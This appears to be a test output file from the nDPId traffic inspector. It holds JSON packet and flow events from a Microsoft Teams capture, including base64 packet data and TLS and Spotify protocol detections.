b9HLfn70zQgHZSCAf+3veULDRzxMOZaxKx6GXrsCsYdiL37rgFGWQnRxslpLJjljCefbKSu6AM2jCz52LAoeyBqKWNftV0k7vz8KV7AEBp6Al2W42AZcHOW7dn9xJCwWYj3t+rKO3hZSRQpmt5t69wfs6qogk1\/wD1oAWNIASxc+UOv0sIs1LTUA3CtDpn3c3wZ\/\/AEAM1JHpwqfLCBZl4GcG+s65a+FAsVp3IOWwIN6eFgjyXLAfsNmYVsTrmm28JBauIDzeOoGY0S+BnUUbaWMTSuKg3wwxAnHnYKFS2AfNOgBYGfZPR9oyGgnuH5Q2Mry5aU5reBvxWEHLJHx20HFRma936nde5NZjKDzNfnLTddhWmuo3WNQYjtDwrwe90bXUUpbMN8i7ztAjXAnL5a7H3B\/rpBH4XnMfdBCG24d5y32NB+3ZGc4JBih\/qzrnGVfvfivbywm8qdnysbdCdc0yyT+3TxH5SOX5VJvfOJD60PhUjUZ3V\/UCRc+TTdGgV2rO0OdEP9TkINdui2eY2GKv4DdtoZ0wepa9YeB"} +02368{"flow_id":50,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2057,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":390756,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"EBMx8Tl2KDc3AG3ICABFAAXIAABAAEAG8e7AqAEGNHJNIeyPAbtgh259U\/Rh04AQEABTVQAAAQEICjCEvaNhH1wbIrw5FRKsH6HIfUDB\/UW0W24JYRUtY5aU1BLH2m0HpRX0djJRDALdnRoFB8Zid7lY+CCAOVlGt7ZdcKye\/zDKb3XVuFsYrz1K2\/2cqJ8e5QC0L0ZKjl19dFWUi4oWz579Pvkqn4+wwiyQcC159kbX0JYg492cAOAux\/LMymWHW+6kwgsttCBpY1fr9YfE4xZ+DBZ4AeWRMA1dLrVEIUWUrnO6OddQUzeWCTCevxedzWew\/JamWqEoxfeMVyFK8Ta1+Qz\/FH\/o16Pb1t7JOIjRHYcOkWVu1gYMQtirNlysqP50DJZWltn7\/gzZ8J81BmUUrG1LDv+xiY2\/urYXIGO8F+imslJomLrCqYsPPlTkLhvElR\/IBFCT\/h45SkKj2AuXtOhfC50CEyvn2V4STKXq8SNlajhpqNqaU8cHLzXTaP4Yen9\/rV7RyRNDDHib0yzOynDXf6zWVjvaNQ2uJbpitmsOEGwhLGeQmbm83IxTs8YLJuUkgsUzauTKe8r92pJ+LIMj9fTQd75GwD7w12bvbrMM6vr0ej8BQhfnI8CeqJGS4EQxOTy0SxV2t\/18DnhW5rS33GuMrMBTYXDNVMloJ3He\/byO36yNrYbOzO9sMixesCi2z2eboTUhA+5mtBNY+FfxopxUQ7sr461JI+VUTwX+Ue6iWVWtL\/yXUd6tcwnlBtTjviLMQR7ZiNzI8lQ9ObGHE30pX34pV1PKMGmNAbHokF908ZFPx3JTebul6wVDoOMJtnWj+zaEKFs4L5oOfhwUSA5nX4HDCWJjy2GddhhWpnNFslv7od66tx9frksr8RdEmKnN3y4u8e\/0zQt4XuP4t\/+HUEGEyf3++HEVCP5fGkrl8CRZThenVChScmCmQn+XJCvE7M2Lz4QGhZ03IfNlFr\/2e+wJJQwJpomZPNCFVsVfvBAlYI1sPYgRzbdnFDf9FRw2OL75MjqyC7qZl8rTl2KCYjajA6rVGz4lGxuUr0SFULMz3V\/1L3kOBqbLVdF\/uTfyF8LwgSc8tTy4dCY3uXl9P2EqA6WM\/E+hY+FfGQudXd1HwDTRa36TqRbFEkULimHjalLhw218\/gYUSvF2OwCkgQXMLX6iAvubK5zw4ZtjhkDnSK23+rZwdAOy\/u6lXVGFHHFJNT\/9YfoXu1bhnkMUgeeE\/VDtE8GZjpTshsNp9SC4fuQsaSJfP\/6B6cL6iotWypa6vNiL5z0RcxK+L8uU9hS0o00q7nXgtbRA\/0oxhVxi5nxlvA8N3A3bEXaEpYAVfI+82KYgm7I9cysmOoaUxzct+bte1A9qoS3ajnLCUyBqWRu2oxELWS2nmdAVLcRyb7yjr6w1egMPh504z5es4ulMHXe5xC82xVDjukV5xkAFqY5ompuqNT\/M0M+aTSEGeRxntEJdhePyZfy+RnmxZDwyQh66vEty+IrjSOsQm52Sb\/fnrY6g3HLOSq19eoCSjs2jMI6xn1Um98kIIFnx\/RiJS3x8+pls9F5x665UifjrdfTTb7Bk0xWKvHErxYzuQYOuqoUDCV11ljiamNRn7aTkHupB8oAAjkx9G7tzKBx7xCvmxRH47tWx80VL2+FETKjdlPchOCrWrotI9dEh9A\/Zr+7zOzgjid1g03lxHUeob3c7dmllDs1W9BD99eEodUvNX5ffOnR+TOqIkRR+x75KPjWjMb0NQ0usP3Y1vb8OrCm0afBebZHLSJ\/3XBxDZ3RgsEmTyXbTzQ8lc7cVQk4nItJVPWGq7HQ9V1gHQiVa9lsb4PX+eAyNJBi3J+RbVId2FHBXwlt5cbgD+Pp1pAoFwVzAWuhPLl97WyycrSbhtbvCs7AYAdFnYQGScbLg244EWlpfMu0zI3O4dJhhLO8FjkaNU9bNw5iZLP8v7AXBWGz3ysKvueXWuK96"} +00375{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2076,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":611252,"pkt_caplen":60,"pkt_type":38,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":60,"pkt_l4_len":0,"pkt":"AYDCAAAAeCjKBfrMACZCQgMAAAAAAJAAeCjKBfrMAAAAAJAAeCjKBfrMgAEAAAYAAQAEAKWlpaWlpaWl"} +00155{"basic_event_id":5,"basic_event_name":"Unknown Ethernet packet type","thread_id":0,"packet_id":2076,"source":"teams.pcap","alias":"nDPId-test","type":38} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2077,"source":"teams.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1587041686659,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.112","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00458{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2077,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":659283,"pkt_caplen":82,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":82,"pkt_l4_len":48,"pkt":"\/\/\/\/\/\/\/\/jP5XIzfkCABFAABE9p0AAEAR\/0vAqAFwwKgB\/+EV4RUAME6OU3BvdFVkcDBE2bWZ25IvowABAADKIN8ICP0NzlEBuCwq6R7jWIhweQ=="} +00510{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2077,"source":"teams.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":1587041686659,"flow_last_seen":0,"flow_tot_l4_data_len":48,"flow_min_l4_data_len":48,"flow_max_l4_data_len":48,"flow_avg_l4_data_len":48,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.112","dst_ip":"192.168.1.255","src_port":57621,"dst_port":57621,"l4_proto":"udp","ndpi": {"proto":"Spotify","breed":"Acceptable","category":"Music"}} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":2104,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":1587041686889,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.67","src_port":60560,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00444{"flow_id":52,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2104,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":889381,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGR0nAqAEGKH4JQ+yQAbuMpd1iAAAAALAC\/\/\/7KQAAAgQFtAEDAwUBAQgKMIS\/iwAAAAAEAgAA"} +00438{"flow_id":52,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2108,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":918390,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA8PdhAAGwG3XQofglDwKgBBgG77JCDb8\/fjKXdY6ASIAC\/qwAAAgQFoAEDAwgEAggKUkSG7zCEv4s="} +00425{"flow_id":52,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2109,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":918473,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR1XAqAEGKH4JQ+yQAbuMpd1jg2\/P4IAQEAn+PwAAAQEICjCEv6dSRIbv"} +00759{"flow_id":52,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2110,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":919156,"pkt_caplen":312,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":312,"pkt_l4_len":278,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEqAABAAEAGRl\/AqAEGKH4JQ+yQAbuMpd1jg2\/P4IAYEAngnQAAAQEICjCEv6dSRIbvFgMBAPEBAADtAwMbmcXPy8rEyjOH5t3NVXkoUGCRZxMGyIKbY0co\/wunRQAAKMAswCvAJMAjwArACcypwDDAL8AowCfAFMATzKgAnQCcAD0APAA1AC8BAACc\/wEAAQAAAAAeABwAABlsb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tABcAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAADN0AAAAEgAAABAAMAAuAmgyBWgyLTE2BWgyLTE1BWgyLTE0CHNwZHkvMy4xBnNwZHkvMwhodHRwLzEuMQALAAIBAAAKAAoACAAdABcAGAAZ"} +00785{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":2110,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":4,"flow_first_seen":1587041686889,"flow_last_seen":1587041686919,"flow_tot_l4_data_len":394,"flow_min_l4_data_len":32,"flow_max_l4_data_len":278,"flow_avg_l4_data_len":98,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.67","src_port":60560,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"login.microsoftonline.com","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1"}} +02372{"flow_id":52,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2131,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":950659,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPdlAAGwG19sofglDwKgBBgG77JCDb8\/gjKXeWYAQBAUYLAAAAQEIClJEhw4whL+nFgMDETsCAABVAwNemFWW7R35oy+pDouxbKQc3ZxSE0RLhoRWbTV6NPlktSB6OAAARuc6MTC1YmpF4SmrzBdvOs6F07smAuHCwru2ycAwAAANABcAAP8BAAEAAAAAAAsAD40AD4oACcwwggnIMIIHsKADAgECAhN7AAL0+uu8c4DySSOTAAAAAvT6MA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0xODA5MjQyMTQ5MzBaFw0yMDA5MjQyMTQ5MzBaMCsxKTAnBgNVBAMTIHN0YW1wMi5sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAg9uMC7tn8RKm9hx1Q+vclCmv2FS5644lZCwDqwzCYb8L0QUXObmurDTp9z7imH\/68rvf0\/+KpPvZzn8n+A1ECu6H51tc4jh4cund1rKWCEvaClslKP1O5XZfDppym7WFQSIHQp9LXW26FaTqarCYkxKrkm\/lTdJtaXF5\/C7ZRJIFVaL9dmL\/uMiooAbDLhN56zmBjGeB2V01oJAQhD\/q\/lznyyirBK2V2vQ7WyyX4O7R5ox9CbJ7fjHmVfu5B\/IGhKzckLb+kPv4Ou1DFiJ+VjXUg8+HNiqYybm516lzAMR9GTpDm\/EaK\/DoNiRmeP+V6xIxpVOXNmdtJ2yXkhn+AQIDAQABo4IFgjCCBX4wggH1BgorBgEEAdZ5AgQCBIIB5QSCAeEB3wB1AKS5CZC0GFgUh7sTosxncAo8NZgE+RvfuON3zQ7IDdwQAAABZg2YTSEAAAQDAEYwRAIgNf1dCr\/A\/68iTF44ctzG4dfYj5k8kwrcMxb+OAftshACIEOFf1L8DyVWvGmp2q28iEZd5RDO6L\/3eE60TQKPTKibAHcAVhQGmi\/XwuzT9eG9RLI+x0Z2ubyZEVzA75SYVdaJ0N0AAAFmDZhK0AAABAMASDBGAiEA6k0qgGOQ2\/4vWshsmYpY7DSpdiwLlTeFqoSnh81\/2Y4CIQDv1+L779lV6U+goVXZN5Lr8mJnM2dtvY1ZqBBLJZkaOwB1AFWB1MIWkDYBSuoLm1c8U\/DA5Dh4cCUIFy+jqh0HE9MMAAABZg2YSsoAAAQDAEYwRAIgWKBW8MG0XWRpOFEy6yhRlkRMXWMvZwn2MMfc6oSrj0gCIBftriorxFHUNkLYAHoFWkhm8hNqcHO+KKiAs49boZzUAHYAu9nfvB+KcbWTlCOXqpJ7RzhXlQqrUugakJZkNo4e0YUAAAFmDZhLTgAABAMARzBFAiAA3dU0fJfG9tq5Rc4+sUUH+XraMuPYSatYD6LC\/2\/zTAIhAJWqprUivm3Ca3RKEfcrJtar2nlcdcqed0u5OIHS\/4PYMCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAxLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQUiTQV2m224F\/j"} +02359{"flow_id":52,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2132,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":950878,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPdpAAGwG19oofglDwKgBBgG77JCDb9WAjKXeWYAQBAV+igAAAQEIClJEhw4whL+ni+Wbrav3bQpcZNAwCwYDVR0PBAQDAgSwMIIBJgYDVR0RBIIBHTCCARmCGWxvZ2luLm1pY3Jvc29mdG9ubGluZS5jb22CG2xvZ2luLm1pY3Jvc29mdG9ubGluZS1wLmNvbYIbbG9naW5leC5taWNyb3NvZnRvbmxpbmUuY29tghpsb2dpbjIubWljcm9zb2Z0b25saW5lLmNvbYIkc3RhbXAyLmxvZ2luLm1pY3Jvc29mdG9ubGluZS1pbnQuY29tgh1sb2dpbi5taWNyb3NvZnRvbmxpbmUtaW50LmNvbYIfbG9naW5leC5taWNyb3NvZnRvbmxpbmUtaW50LmNvbYIebG9naW4yLm1pY3Jvc29mdG9ubGluZS1pbnQuY29tgiBzdGFtcDIubG9naW4ubWljcm9zb2Z0b25saW5lLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEARVCFDXaNOijZYnNGoRWvtuOpazT+6a5NhffPDEd8mw13I5P2ZjdjuwO0BCuAa0rcrb9Xsv2qMoirtQ46ssv7U4RUbJ2q644olWDdoDLw3u2IwAi4+it8uqFANVWf479pYNzQSRACICWvLYyZOXoCzSVgryqqt6S9JYKLV\/5cOCwnLGXIMXunQZDJ9OLbjk3hV+y1gACDA7qTWXqQxmgI9aFpumAbRwTxqZV913sHD\/Cf4ut1VrXdDHEcgGroOgboavAnBPF1buLwyr8dsFVfenl1cv4K6OyxBhOa\/qPQC3E1A4UNtSz4dz0swsNbngQZDrl3H9MqpMRswrpJ9jUAZ4uzcbjmByMFT7UrO5NyfE2e754OXgg0kzSG7F0aYPVW64WQaAN5alS554Apkxzpnhy4dbLpcc+qDxw4uZRbEMvvqiGy3Tzvw2N2ZlLhpfCA79zVH3D9QcugIgQY75KsamAAzOcbXq0zT0xKgmRKBpdzG5DeC2KsBbrTTak1bUSSPLjvYpHhgabRiV7OEik97n1Dth5jNj0APlNTe65xy1gwKh4ItrHo4sQMKfxY9NyTKSBVKN3poUeJpe9p2ArtCr\/ZmVWqTui7XFpZPfiQUHWHxyvx0VTPR40NEp\/NGn3Uw7Bd\/MS5F6AKZAjGFEeyvsfA2p3QKRyzfNkfQWM3fP8ABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UE"} +00425{"flow_id":52,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2133,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":950934,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR1XAqAEGKH4JQ+yQAbuMpd5Zg2\/bIIAQD9PyAwAAAQEICjCEv8RSRIcO"} +02378{"flow_id":52,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2134,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":950998,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUPdtAAGwG19kofglDwKgBBgG77JCDb9sgjKXeWYAQBAXbdAAAAQEIClJEhw4whL+nCxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/jSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gMAAFJAwAXQQT5Q3NX5+d\/vhmyEzQZS24FRi7c0NlInzlo9prwvSS72XN3ITGDUUkf08M476kbOOUoMMHqYQc6oj0O6bfXFDmSBAEBAFm3RbnkZSe\/HZkUuzk5CD54825akP22vFckBYApYbEnfNvrl90DcYqxlxOAbK4etyjcIHygT3cT2gKpEWe+eUPlMnpe1sulvXKKf88tgLx26PfwFVhF9xiqEb+vkJFQXYsYuZNO3++Ldm7pqxHnd\/CvToZvWRE21DTuItVwd6VmJkluYxROw5v2mbQk0b8ZSRsEG\/BaMPLjjujzzMq4YUvwks7E"} +00562{"flow_id":52,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2135,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":950999,"pkt_caplen":162,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":162,"pkt_l4_len":128,"pkt":"KDc3AG3IEBMx8Tl2CABFAACUPdxAAGwG3RgofglDwKgBBgG77JCDb+DAjKXeWYAYBAVCNgAAAQEIClJEhw4whL+nQ32fUU3wgpyNXOS+YAQTaKFItA\/wMBEfcoJdzfo7Vhy7bDY7\/0CPvRpu\/u8Nd\/XiPGZZp2CcfD1ltBTqX9aHWUFSItU3j5\/wjZXSsX\/40JJB41OxGJ\/QivD2yTgOAAAA"} +01368{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2135,"source":"teams.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":9,"flow_first_seen":1587041686889,"flow_last_seen":1587041686950,"flow_tot_l4_data_len":4970,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":552,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"40.126.9.67","src_port":60560,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Microsoft365","breed":"Acceptable","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"login.microsoftonline.com","server_names":"login.microsoftonline.com,login.microsoftonline-p.com,loginex.microsoftonline.com,login2.microsoftonline.com,stamp2.login.microsoftonline-int.com,login.microsoftonline-int.com,loginex.microsoftonline-int.com,login2.microsoftonline-int.com,stamp2.login.microsoftonline.com","ja3":"a69708a64f853c3bcc214c2c5faf84f3","ja3s":"678aeaf909676262acfb913ccb78a126","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1","issuerDN":"CN=stamp2.login.microsoftonline.com","alpn":"h2,h2-16,h2-15,h2-14,spdy\/3.1,spdy\/3,http\/1.1","fingerprint":"7E:0F:A2:51:8F:FB:49:30:C3:34:07:5E:F8:7C:FD:34:20:A2:96:63"}} +00426{"flow_id":52,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2136,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":951040,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAGR1XAqAEGKH4JQ+yQAbuMpd5Zg2\/hIIAQD9DsBgAAAQEICjCEv8RSRIcO"} +00598{"flow_id":52,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2143,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041686,"pkt_ts_usec":961193,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAGRtfAqAEGKH4JQ+yQAbuMpd5Zg2\/hIIAYEACglQAAAQEICjCEv85SRIcOFgMDAEYQAABCQQRF1\/1oMSdAxU1Mhx45DP5rD7GL3YTR99AHtI6CS5oE4zxa53P4viOFVIG1jEeguhsWdkQLAbDAklx91P7lzGi2FAMDAAEBFgMDACgAAAAAAAAAAIsLD7O97vjhH8lCxLcrSKE9fDLXgiaI+ndnxfU8CGCX"} 